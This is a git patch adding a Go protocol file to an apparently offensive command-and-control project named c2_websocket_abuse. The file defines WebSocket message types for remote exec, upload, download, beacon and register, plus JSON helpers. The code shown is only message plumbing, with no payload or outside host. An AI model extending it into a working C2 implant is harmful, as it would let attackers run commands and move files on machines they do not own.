From 23b64ddb9d951b6e1373ee76e132d1405b272563 Mon Sep 17 00:00:00 2001
From: ek0ms savi0r <ek0mssavi0r@noreply.git.churchofmalware.org>
Date: Tue, 2 Jun 2026 01:47:18 +0000
Subject: [PATCH] Upload files to "c2_websocket_abuse/pkg"

---
 c2_websocket_abuse/pkg/protocol.go | 58 ++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)
 create mode 100644 c2_websocket_abuse/pkg/protocol.go

diff --git a/c2_websocket_abuse/pkg/protocol.go b/c2_websocket_abuse/pkg/protocol.go
new file mode 100644
index 0000000..94fd257
--- /dev/null
+++ b/c2_websocket_abuse/pkg/protocol.go
@@ -0,0 +1,58 @@
+package protocol
+
+import (
+	"encoding/json"
+	"fmt"
+)
+
+// Message types
+const (
+	TypeExec      = "exec"
+	TypeUpload    = "upload"
+	TypeDownload  = "download"
+	TypeBeacon    = "beacon"
+	TypePing      = "ping"
+	TypePong      = "pong"
+	TypeHeartbeat = "heartbeat"
+	TypeResult    = "result"
+	TypeCmd       = "cmd"
+	TypeRegister  = "register"
+	TypeExit      = "exit"
+)
+
+// Message is the shared JSON frame sent over WebSocket.
+type Message struct {
+	Type string `json:"type"`
+	ID   string `json:"id,omitempty"`
+	Data string `json:"data,omitempty"`
+	Err  string `json:"error,omitempty"`
+}
+
+// Marshal serializes a Message to JSON bytes.
+func (m *Message) Marshal() ([]byte, error) {
+	return json.Marshal(m)
+}
+
+// UnmarshalMessage deserializes JSON bytes into a Message.
+func UnmarshalMessage(data []byte) (*Message, error) {
+	var msg Message
+	if err := json.Unmarshal(data, &msg); err != nil {
+		return nil, fmt.Errorf("unmarshal message: %w", err)
+	}
+	return &msg, nil
+}
+
+// NewMessage is a convenience constructor.
+func NewMessage(msgType, id, data string) *Message {
+	return &Message{Type: msgType, ID: id, Data: data}
+}
+
+// NewErrorMessage creates an error result message.
+func NewErrorMessage(id, err string) *Message {
+	return &Message{Type: TypeResult, ID: id, Err: err}
+}
+
+// NewResult creates a success result message.
+func NewResult(id, data string) *Message {
+	return &Message{Type: TypeResult, ID: id, Data: data}
+}